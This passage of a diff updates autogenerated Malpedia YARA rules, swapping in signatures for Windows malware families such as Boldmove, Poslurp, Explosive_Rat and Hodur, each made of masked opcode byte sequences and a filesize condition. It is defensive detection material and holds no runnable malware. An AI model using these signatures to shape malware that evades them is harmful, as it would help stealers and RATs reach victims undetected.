= { 50 8d7720 e8???????? 8b9590fdffff 8b8584fdffff } + $sequence_3 = { e8???????? 8945f8 3bd8 0f841d010000 } + $sequence_4 = { 8d4701 3dffffff7f 0f87e8000000 03c0 3d00100000 722a } + $sequence_5 = { 83fa08 7202 8b3e 8d041b 50 ff75f8 } + $sequence_6 = { 33ff 33db 897de4 895de8 85f6 7421 } + $sequence_7 = { e8???????? 8b4de8 83c40c 83f908 7234 } + $sequence_8 = { 8bf1 8975b8 8975ac c745b000000000 c7461000000000 c7461400000000 c70600000000 } + $sequence_9 = { 8bd1 57 c70600000000 c74604ffff0000 8b4a1c 8bc1 } condition: - 7 of them and filesize < 4489216 + 7 of them and filesize < 324608 } -rule MALPEDIA_Win_Poweliks_Auto : FILE +rule MALPEDIA_Win_Boldmove_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f451c0b0-4649-5c08-94b0-36c17c318bbf" + id = "3bdf90c7-36e1-5e06-8df9-776b6e88680a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poweliks" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poweliks_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.boldmove" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.boldmove_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "67c4fd9796059c69286d2c247dc5cb104b6a720e1f7ef3b5b45dfcea3566e76a" + logic_hash = "3d258453779af88e427ea6662db58aa1b287b8846df27e0a7720298a0095c401" score = 75 quality = 75 tags = "FILE" @@ -88821,32 +88861,32 @@ rule MALPEDIA_Win_Poweliks_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 3bce 7602 8bce 85c9 7415 8b7d08 8b720c } - $sequence_1 = { 394df4 72cd 8b703c 03f0 8b8e80000000 837c010c00 7449 } - $sequence_2 = { ff55f0 8b7508 8b9e40110000 81c604110000 6a40 6800300000 03de } - $sequence_3 = { 55 8bec 83ec68 6a6b 58 6a65 66894598 } - $sequence_4 = { 6a6b 58 6a65 66894598 58 } - $sequence_5 = { 51 ff15???????? 8945f8 8d45f8 50 ff15???????? 33d2 } - $sequence_6 = { 8b0c87 0fb70443 8b3486 8365fc00 03ca 894df4 } - $sequence_7 = { 58 6a72 6689459a 58 6a6e 6689459c 58 } - $sequence_8 = { 47 83ff0c 72ea 83ff0c } - $sequence_9 = { 8b5df4 03d8 8a4405d0 3a441dd0 } + $sequence_0 = { 8b4308 890424 ff15???????? 50 50 8b4308 890424 } + $sequence_1 = { 83e104 89442454 894c2418 0f852f0e0000 } + $sequence_2 = { 56 53 83ec20 e8???????? a1???????? dd5df0 83780c00 } + $sequence_3 = { d9ee 8b5c245c 8944245c 83c701 dbe9 897c2434 } + $sequence_4 = { 8b449908 85c0 7415 890424 e8???????? a1???????? c744980800000000 } + $sequence_5 = { c7042404000000 e8???????? c7434000000000 89433c e8???????? dd5b08 0fb617 } + $sequence_6 = { 8d85c8fbffff c744240c07000000 89442408 c744240400040000 893424 e8???????? 8b85c8fbffff } + $sequence_7 = { 66250045 663d0005 0f84f3040000 6681e2ff7f } + $sequence_8 = { 39f0 b800000000 0f47d0 8d440b04 01d9 89442404 89542408 } + $sequence_9 = { d905???????? d9c1 d8c1 d9cb dbf3 dddb 0f87a7030000 } condition: - 7 of them and filesize < 115712 + 7 of them and filesize < 242688 } -rule MALPEDIA_Win_Liteduke_Auto : FILE +rule MALPEDIA_Win_Slothfulmedia_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ce6d7cbd-e712-527e-8d2e-e59cc7813425" + id = "12866e57-5c22-5ece-ab6b-edebb824500e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.liteduke" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.liteduke_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slothfulmedia" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.slothfulmedia_auto.yar#L1-L175" license_url = "N/A" - logic_hash = "e8630c4a732088757bd3da58bb3967f30c07f9d1aee8531a027e677d423a3358" + logic_hash = "8cdce0e96c9b360c003407b809360fea7e440aeaa30b884d65090695657af8b0" score = 75 quality = 75 tags = "FILE" @@ -88860,32 +88900,38 @@ rule MALPEDIA_Win_Liteduke_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c9 c20400 55 89e5 ff7508 6800010000 } - $sequence_1 = { 51 6821020000 50 6a21 50 6888c00700 ffb5d0fdffff } - $sequence_2 = { ad 6a04 59 c1c008 3c3d 7501 45 } - $sequence_3 = { 837d1001 7510 c745f810000000 c745fc0a000000 eb2a 837d1002 7510 } - $sequence_4 = { f70600000080 7409 8b06 25ffffff3f eb60 50 e8???????? } - $sequence_5 = { 8a03 52 50 6a03 e8???????? 83c408 5a } - $sequence_6 = { 7404 0113 ebca 2113 ebc6 58 } - $sequence_7 = { 50 ff15???????? 83c410 ff75e4 e8???????? 6800800000 } - $sequence_8 = { e8???????? 31c0 aa 61 c9 c20c00 55 } - $sequence_9 = { 21df 89d0 21f0 09f8 01c1 034dec } + $sequence_0 = { 8365f000 837d1400 53 56 57 0f86a0000000 8b5d10 } + $sequence_1 = { 68df3d7a6b 50 e8???????? 57 ff15???????? 57 } + $sequence_2 = { d1f8 8b45fc 7505 b8???????? 50 57 } + $sequence_3 = { 397df4 0f8640ffffff 8b4508 e8???????? cc 55 8bec } + $sequence_4 = { 33c0 eb17 57 ff750c } + $sequence_5 = { ff7320 6a00 6a00 ffb33c020000 ff15???????? 8945f8 } + $sequence_6 = { ff7514 56 ff15???????? 56 ff15???????? 8b4508 eb02 } + $sequence_7 = { 1bd2 83daff 85d2 7422 83f805 761f } + $sequence_8 = { ff15???????? 8b8c2410020000 5f 5e 33cc } + $sequence_9 = { 6689442414 e8???????? 83c40c 6a00 ff15???????? 8b35???????? 8b3d???????? } + $sequence_10 = { 83c40c 6804010000 8d44240c 50 6a00 } + $sequence_11 = { 85c0 7507 ffd7 83f805 74ee 6804010000 } + $sequence_12 = { 8b35???????? 8b3d???????? 90 68???????? ffd6 85c0 } + $sequence_13 = { 8d4c2410 51 ff15???????? 8b8c2410020000 } + $sequence_14 = { e8???????? 81c40c020000 c21000 3b0d???????? 7502 } + $sequence_15 = { 6804010000 8d54240c 6a00 52 e8???????? 83c40c } condition: - 7 of them and filesize < 1171456 + 7 of them and filesize < 122880 } -rule MALPEDIA_Win_Xtinyloader_Auto : FILE +rule MALPEDIA_Win_Crenufs_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "18e6856e-e403-5601-8fbf-f7925fca3610" + id = "487ba1c7-31dd-5f61-bb00-5c9d73db857b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xtinyloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xtinyloader_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crenufs" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crenufs_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "b857d545e3495e8e215ff8dbc4483cf1ba89c02a05d887dc31b61d1a2d74f26a" + logic_hash = "b8d4f6abd83faf05e3956845ba58bcd09d9f7c4a785dc9758948905ec6301e11" score = 75 quality = 75 tags = "FILE" @@ -88899,32 +88945,32 @@ rule MALPEDIA_Win_Xtinyloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff35???????? e8???????? 8b35???????? 83c448 8944241c 85db 7409 } - $sequence_1 = { 7437 57 ff15???????? 85c0 7425 56 } - $sequence_2 = { e8???????? 50 ff35???????? e8???????? a3???????? 0fb605???????? 83c444 } - $sequence_3 = { ff45fc 8b45fc 3b45f4 72be 33c0 5f 5e } - $sequence_4 = { 8d45f8 50 8b450c 2bc7 } - $sequence_5 = { 85c0 7442 8b45fc 8b0c86 8b450c } - $sequence_6 = { 8b5d08 b84d5a0000 663903 7407 33c0 e9???????? } - $sequence_7 = { 57 ff15???????? 85c0 0f8450010000 8d45f8 } - $sequence_8 = { 57 895de4 895df4 895dec } - $sequence_9 = { 7459 393d???????? 7451 393d???????? } + $sequence_0 = { 6a01 8d4de4 ff15???????? 8b4df4 5f 5e 5b } + $sequence_1 = { 8b7610 c744241000000000 3930 770a } + $sequence_2 = { 50 56 8d4de0 ff15???????? 57 68???????? } + $sequence_3 = { 8bf9 56 897c2418 e8???????? 56 ff15???????? } + $sequence_4 = { c7461001000000 8bde ff15???????? 392d???????? 7512 8935???????? 892e } + $sequence_5 = { 52 8d7e58 6a04 57 50 ffd5 } + $sequence_6 = { 03ca 894c2438 3b4b18 740d 8b4c2454 c74118ccc74000 eb61 } + $sequence_7 = { ff15???????? 834dfcff 6a01 8d4ddc ff15???????? 8b4df4 8bc6 } + $sequence_8 = { 53 50 68???????? 53 ff15???????? 6a01 8d4db0 } + $sequence_9 = { ff15???????? e9???????? a1???????? bf???????? 83c9ff } condition: - 7 of them and filesize < 50176 + 7 of them and filesize < 106496 } -rule MALPEDIA_Win_Ufrstealer_Auto : FILE +rule MALPEDIA_Win_Poslurp_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ba013c32-c7d7-5540-a7af-23c784527e98" + id = "de29f131-c10c-5b1a-9ede-2dfe5ee182bf" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ufrstealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ufrstealer_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poslurp" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poslurp_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "5a74533151b417ab8386a9dc0bd4bcb97ff632563f715bef9c755e4394a3e888" + logic_hash = "dafce983a197626ced3ffe7ea55c9454b2349c0bd7691c948d5ed2bf42cf11d0" score = 75 quality = 75 tags = "FILE" @@ -88938,71 +88984,71 @@ rule MALPEDIA_Win_Ufrstealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8955f4 3b55f0 0f82ddfcffff 68???????? e8???????? 68???????? } - $sequence_1 = { 72f2 eb1e 8b75e8 46 } - $sequence_2 = { ff35???????? ff15???????? 8bd8 ff75fc ff7608 53 ff15???????? } - $sequence_3 = { 83c304 ebb2 c705????????66666666 6a04 68???????? e8???????? } - $sequence_4 = { 85c0 7548 803d????????00 7411 6a00 68???????? ff15???????? } - $sequence_5 = { 6800040000 ff7510 6aff ff7204 6a00 6a00 ff15???????? } - $sequence_6 = { 8945ec ff75f0 ff15???????? 50 6a06 ff75f0 } - $sequence_7 = { 6801000080 ff15???????? 85c0 0f85fc030000 68000000f0 6a01 6a00 } - $sequence_8 = { e8???????? 85c0 0f846c020000 83c00a } - $sequence_9 = { a1???????? 0305???????? c60000 68???????? ff35???????? e8???????? } + $sequence_0 = { 4883f8ff 743d 448d4f02 4533c0 33d2 488bc8 } + $sequence_1 = { 3905???????? 7309 33c9 ff15???????? } + $sequence_2 = { 44891d???????? eb0b 6689445420 41ffc0 48ffc2 4883c9ff 33c0 } + $sequence_3 = { 48f7d1 4883e901 7458 448b0d???????? } + $sequence_4 = { 4c8bf0 488bf8 33c0 f3aa 498bce 488bd5 } + $sequence_5 = { 740e 0f1f4000 488b1b 66837b3818 } + $sequence_6 = { ff15???????? 4883f830 0f85b3000000 817c245000100000 } + $sequence_7 = { 4d897b08 4d897bc8 8b7c0850 4c8bf2 488be9 4d897ba0 } + $sequence_8 = { 0f84d5000000 6666660f1f840000000000 0fb703 ffc9 83e830 } + $sequence_9 = { ffce 488bd5 48d1f9 8bfb 85c9 } condition: - 7 of them and filesize < 770048 + 7 of them and filesize < 50176 } -rule MALPEDIA_Win_Badhatch_Auto : FILE +rule MALPEDIA_Win_Explosive_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d1d3a6d7-0b13-5342-b91c-01db9308bc68" + id = "fcdedcfb-8d9a-5318-b6f5-1c975904e20d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badhatch" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.badhatch_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.explosive_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.explosive_rat_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "2f3c78bf8e633b7d8699c41a378230a8ee0e51bf5f6dea1277813531be01c065" + logic_hash = "41c4f7e33c52dbbd452e704e97d77f2addf0978f42a72a996b63009951e0b21e" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" - signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" - malpedia_license = "CC BY-SA 4.0" - malpedia_sharing = "TLP:WHITE" - - strings: - $sequence_0 = { ff15???????? 8b3d???????? 85c0 7512 ffd7 53 } - $sequence_1 = { 83c420 5f 5e 83c574 c9 c3 55 } - $sequence_2 = { 837df800 7435 837f0c00 742f 33c0 e9???????? 8b4f08 } - $sequence_3 = { 7cb9 eb09 ff15???????? 8945fc 8b45fc 5f 5e } - $sequence_4 = { 53 ff750c 8d443750 50 e8???????? 83c40c ff750c } - $sequence_5 = { ffd6 8d45e8 50 68???????? ff7508 e8???????? } - $sequence_6 = { 7559 ff15???????? 3dea000000 754c ff75fc 56 ff35???????? } - $sequence_7 = { 03d0 03d1 52 50 e8???????? 83c40c b8ea000000 } - $sequence_8 = { 838b40010000ff 33f6 56 56 6a01 56 } - $sequence_9 = { eb05 8b450c 8938 395dfc 740e 57 53 } + signator_config = "callsandjumps;datarefs;binvalue" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" + malpedia_license = "CC BY-SA 4.0" + malpedia_sharing = "TLP:WHITE" + + strings: + $sequence_0 = { 85c0 0f84fb000000 68???????? 68???????? ffd6 85c0 0f84e7000000 } + $sequence_1 = { 72cc 5d 8b442428 be10000000 3bc6 720d } + $sequence_2 = { 8d4514 50 8d4d0c e8???????? 84c0 8b7520 } + $sequence_3 = { 8902 8908 894104 5b c20400 894208 8908 } + $sequence_4 = { 89bdc4010000 89bdc8010000 6689bdd4010000 e8???????? 8bb508040000 83c41c } + $sequence_5 = { e8???????? 3bfb 745b 395d14 7539 6a34 e8???????? } + $sequence_6 = { 8d8d44ffffff e8???????? 8d8d04f5feff e8???????? 8b8558ffffff 8985f801ffff 89853402ffff } + $sequence_7 = { 3bfb 745b 395d14 7539 6a18 e8???????? 59 } + $sequence_8 = { 8d8d44ffffff e8???????? 8d8d7cffffff e8???????? 807d2475 0f8537010000 53 } + $sequence_9 = { 663bf2 771d 7220 41 41 40 40 } condition: - 7 of them and filesize < 156672 + 7 of them and filesize < 855040 } -rule MALPEDIA_Win_Marap_Auto : FILE +rule MALPEDIA_Win_Bughatch_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b10f821b-8ff2-589d-803b-f9a90d7546d1" + id = "f21da185-8629-53ca-b1ab-60be907f0853" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.marap" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.marap_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bughatch" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bughatch_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "546aba24f6e8400321dff7dca511f4540ee158508029bfb4a7f44eaf5c6b5908" + logic_hash = "8c2d742c99e41f022aebe397e085bdb9d00214c3c4ebe4e2052113f6ff7a225a" score = 75 quality = 75 tags = "FILE" @@ -89016,34 +89062,34 @@ rule MALPEDIA_Win_Marap_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 53 57 52 50 51 68???????? } - $sequence_1 = { c1f805 8b048580320110 83e61f c1e606 } - $sequence_2 = { 8d3c8580320110 8b07 c1e606 f644300401 7436 833c30ff } - $sequence_3 = { 6a01 57 68???????? 89bda8fdffff } - $sequence_4 = { 68???????? 8d9662030000 e8???????? 8b3d???????? 83c410 68???????? 68???????? } - $sequence_5 = { eb22 8386e41d00000f eb19 8386e41d000010 } - $sequence_6 = { 0f848d000000 8bc6 8d5002 668b08 83c002 663bcf 75f5 } - $sequence_7 = { 895df8 0f8576ffffff 8bd7 5f 8bc6 5e } - $sequence_8 = { 50 8dbeb2010000 57 e8???????? } - $sequence_9 = { 6683f858 770f 0fb7c2 0fbe80d8cb0010 83e00f } + $sequence_0 = { 83ec10 8b4508 8945f0 8b4df0 8b5508 03513c 8955f4 } + $sequence_1 = { 8945fc 8d95f8f7ffff 52 e8???????? 83c404 8945f8 8b45f8 } + $sequence_2 = { 6a00 e8???????? 83c40c eb41 8b450c 50 68???????? } + $sequence_3 = { d1e8 8945f4 8b4d08 894df8 c745fc00000000 eb09 } + $sequence_4 = { 6a00 8d4de8 51 6a00 8b55fc } + $sequence_5 = { ba01000000 6bc200 c6840588fdffff00 837d0c00 7507 33c0 e9???????? } + $sequence_6 = { ff15???????? 8b4df8 51 ff15???????? 8b45e0 } + $sequence_7 = { 6a00 6a00 ff15???????? b904000000 } + $sequence_8 = { 68???????? 8d8d94f7ffff 51 ff15???????? 8b550c } + $sequence_9 = { e9???????? 8d55f0 52 8b45e0 50 8b4de4 } condition: - 7 of them and filesize < 188416 + 7 of them and filesize < 75776 } -rule MALPEDIA_Win_Infy_Auto : FILE +rule MALPEDIA_Win_Huskloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3e52df24-aedf-51dc-878e-bd87d1c8f8c2" + id = "baa8dc28-4bde-5660-bacb-e311987b66fe" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.infy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.infy_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.huskloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.huskloader_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "66e1e03eb3c288253d677feb2572d3dd19031bc03f792127c5e2fe93ef218916" - score = 60 - quality = 45 + logic_hash = "efaf6361c8e2a990c1d94ea51b671a22e525594bb6c413d70cb1d93190351b34" + score = 75 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -89055,34 +89101,34 @@ rule MALPEDIA_Win_Infy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85ff 7e2e 4e 8bd0 } - $sequence_1 = { 33d2 e8???????? eb2d 3b7df8 7514 8b45f0 } - $sequence_2 = { 740e 8d45d0 50 6a03 ff15???????? 8bd8 85db } - $sequence_3 = { 50 89c6 8b449d04 85c0 7412 } - $sequence_4 = { 837dec00 740b 8b45f0 8b55f8 } - $sequence_5 = { 833d????????00 740e 8d55d0 52 6a01 } - $sequence_6 = { b8???????? e8???????? b8???????? e8???????? 807b2800 7514 } - $sequence_7 = { 85f6 7d04 33ff eb0a 8bf8 2bfb } - $sequence_8 = { 7502 eb06 8b1b 85db } - $sequence_9 = { 0fb74af4 870c24 51 8b4afc e9???????? } + $sequence_0 = { 8d7f08 8b048d04330010 ffe0 f7c703000000 7413 8a06 } + $sequence_1 = { 894db0 8b048de88d0110 8975b4 8b440618 8b7514 } + $sequence_2 = { 6a00 6aff 66c7861a0600000111 ff15???????? 85c0 7430 682d060000 } + $sequence_3 = { 7712 0fb7c1 0faee8 0fb688181c0110 83e10f eb02 } + $sequence_4 = { e8???????? c70016000000 e8???????? 5d c20400 53 56 } + $sequence_5 = { 8904bde88d0110 85c0 7514 6a0c 5e 8975e4 c745fcfeffffff } + $sequence_6 = { 8db708020000 56 ff15???????? 56 ff15???????? 68???????? } + $sequence_7 = { 682d060000 6a00 6a04 6a00 6aff ff15???????? 85c0 } + $sequence_8 = { 5e 5d c3 e8???????? 85c0 0f8442310000 c3 } + $sequence_9 = { 7551 e8???????? c70021000000 eb44 c745e002000000 c745e4c45e0110 } condition: - 7 of them and filesize < 147456 + 7 of them and filesize < 229376 } -rule MALPEDIA_Win_Cobra_Auto : FILE +rule MALPEDIA_Win_Stabuniq_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fd128616-d78e-5906-a1c5-ca71a64ca5ee" + id = "4275e6d0-94cf-5d7a-8be9-58ce93adc0df" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobra" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cobra_auto.yar#L1-L492" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stabuniq" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stabuniq_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "e8cb467ce58a2dce4e2587c1e891472f04ba426ad5841eddc54e114fd734ddcf" + logic_hash = "27eb79a741b72a16cbff924e64623723e98e0bb2251ce5257f82f37046f960f7" score = 75 - quality = 50 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -89094,79 +89140,32 @@ rule MALPEDIA_Win_Cobra_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7511 e8???????? 85c0 7508 ff15???????? } - $sequence_1 = { c20c00 ff25???????? 53 56 57 8bd9 33f6 } - $sequence_2 = { 5e 5b c3 83fb01 7405 83fb02 7537 } - $sequence_3 = { 7514 391d???????? 754d 33c0 } - $sequence_4 = { 8b442438 85c0 757f 8b05???????? } - $sequence_5 = { 751c 8bcf ff15???????? 8d8fe8030000 8bf9 } - $sequence_6 = { ff25???????? 8b442408 85c0 750e 3905???????? 7e2c } - $sequence_7 = { 5b c3 85db 7405 83fb03 753b } - $sequence_8 = { 757f 8b05???????? 85c0 0f8e8c000000 83e801 8905???????? } - $sequence_9 = { e8???????? 8bf8 83fb01 751d 85ff } - $sequence_10 = { 5f 5e 5b c3 85ff 7418 } - $sequence_11 = { 33d2 b9e8030000 f7f1 83f805 } - $sequence_12 = { 813c0850450000 7503 33c0 c3 } - $sequence_13 = { e8???????? ff463c 57 e8???????? } - $sequence_14 = { ff15???????? 53 ff7714 8bf0 ff571c 59 } - $sequence_15 = { 7407 33c0 e9???????? ff15???????? e9???????? } - $sequence_16 = { 8b742408 837e0c00 7507 b865005921 5e c3 837e2800 } - $sequence_17 = { 7f07 e8???????? eb26 83c0ff } - $sequence_18 = { e8???????? 33db 3bc3 741a } - $sequence_19 = { e8???????? eb6d e8???????? 85c0 7564 } - $sequence_20 = { ebe4 4533f6 413bee 75f4 } - $sequence_21 = { 7564 488b0b 488b01 83385c 7e4b 4c8b505c } - $sequence_22 = { e8???????? 498bce 85c0 750e } - $sequence_23 = { 7548 488b05???????? 4885c0 743c 488b8c24a0000000 } - $sequence_24 = { e8???????? 498bce e8???????? 48832700 } - $sequence_25 = { 7504 33c0 eb05 b865005921 } - $sequence_26 = { 83781400 750a b865005921 e9???????? } - $sequence_27 = { 663bcb 75f4 8b15???????? 8b0d???????? 8910 8b15???????? } - $sequence_28 = { ff15???????? 83f87a 740b 3d230000c0 } - $sequence_29 = { 51 e8???????? 33c0 83c43c } - $sequence_30 = { 6689440ffc 6685c0 75ee f685c003000010 } - $sequence_31 = { ff15???????? eb03 8b7d0c 3bfb } - $sequence_32 = { 51 6a00 6a00 56 ff15???????? 56 } - $sequence_33 = { 6a03 68000000c0 50 ff15???????? 8bf0 83feff 7505 } - $sequence_34 = { 83feff 7505 33c0 5e 5d c3 8b4d08 } - $sequence_35 = { 50 6a00 6aff e8???????? 85c0 7405 } - $sequence_36 = { 8bec 56 6a00 6880000000 6a03 6a00 6a03 } - $sequence_37 = { 5d c3 8b4d08 57 51 6a00 } - $sequence_38 = { b914000000 84c0 0f45f9 488bce 8bd7 ff15???????? 85c0 } - $sequence_39 = { 4584ff 7518 33c0 4881c4480d0000 } - $sequence_40 = { 8d8588feffff 68???????? 50 ff15???????? 83c42c } - $sequence_41 = { 4533e4 4c8bf1 488bda 488d8d10060000 33d2 41b808020000 4489a5800c0000 } - $sequence_42 = { 4c89642448 488d4c2468 48894c2440 4c89642438 } - $sequence_43 = { 33d2 488bc8 ff15???????? 488bcf ff15???????? 41b701 } - $sequence_44 = { 56 4154 4156 4157 488dac24b8f3ffff } - $sequence_45 = { 7507 32c0 e9???????? c745b818000000 } - $sequence_46 = { 668b08 83c002 6685c9 75f5 2bc2 d1f8 66837c43fe5c } - $sequence_47 = { 33f6 03c2 13ce 51 50 } - $sequence_48 = { 0f8456feffff 807c241301 6800080000 0f8544020000 } - $sequence_49 = { 05a1000000 50 8d84249c0d0000 68???????? } - $sequence_50 = { 05a2000000 50 8d8c249c0d0000 68???????? } - $sequence_51 = { 0f84100f0000 6800080000 57 56 } - $sequence_52 = { 0f8431ffffff 8b4d08 5f 8931 } - $sequence_53 = { 05a2000000 50 8d94249c0d0000 68???????? } - $sequence_54 = { 85c0 740a b8050000c0 e9???????? } - $sequence_55 = { 668cc8 c3 53 50 } - $sequence_56 = { c745d000000000 c745d400000000 8d45c0 50 e8???????? } + $sequence_0 = { 6a05 8b55fc 52 8b4510 } + $sequence_1 = { 8b913c020000 52 8b45ec 50 8b4df0 51 8b5508 } + $sequence_2 = { 8b4508 50 8b4df8 ff91ec000000 8945fc 8b55f0 83ea04 } + $sequence_3 = { 8b55fc 52 8b4514 05ab0e0000 50 8b4d0c 51 } + $sequence_4 = { 8b4d0c 8d9401b2170000 52 8d85f8fdffff 50 8b4d0c ff5130 } + $sequence_5 = { 50 8b8d24fdffff 51 8b5510 ff520c 6a40 } + $sequence_6 = { 85c0 7535 8b8decfbffff 6bc928 8b5510 8d840ab2170000 50 } + $sequence_7 = { c745f800000000 837dfc00 7e32 8b55f8 83c201 8955f8 8b45fc } + $sequence_8 = { 83ba8000000000 750a b801000000 e9???????? 8b45f0 8b8880000000 034d08 } + $sequence_9 = { 8b4510 8b4d18 8a9411dc0e0000 8810 8b4510 83c001 } condition: - 7 of them and filesize < 1368064 + 7 of them and filesize < 57344 } -rule MALPEDIA_Win_Redshawl_Auto : FILE +rule MALPEDIA_Win_Hodur_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f52543ad-f3b0-5635-b08b-6e314d7ab25e" + id = "529f3e13-6dbd-5bfd-9d2e-8112cb176080" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redshawl" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.redshawl_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hodur" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hodur_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "9697ea4899eafca20347b787cabf2930212702df9b80046d2c793afaab560dfd" + logic_hash = "52f28b8a0f887df21ab70c260b17a2f99e348211a9b139c663c0b81c4937fcbf" score = 75 quality = 75 tags = "FILE" @@ -89180,32 +89179,32 @@ rule MALPEDIA_Win_Redshawl_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4889442438 895c2430 4489642428 4c89642420 4533c9 4c8bc6 488d942430010000 } - $sequence_1 = { 488b4c2448 e8???????? 90 90 e9???????? 488d542450 418bcc } - $sequence_2 = { 7329 4863d1 488d0d90770000 488bc2 } - $sequence_3 = { 488d8c2431010000 e8???????? ba04010000 488d8c2440020000 ff15???????? 4c8bde 488d8c2430010000 } - $sequence_4 = { 3b3d???????? 737d 488bdf 488bf7 48c1fe05 4c8d25ea7e0000 } - $sequence_5 = { 4c8be9 488b05???????? 4885c0 0f8436010000 48833d????????00 } - $sequence_6 = { 48895c2408 57 4883ec20 488d1d0b6d0000 488d3d046d0000 } - 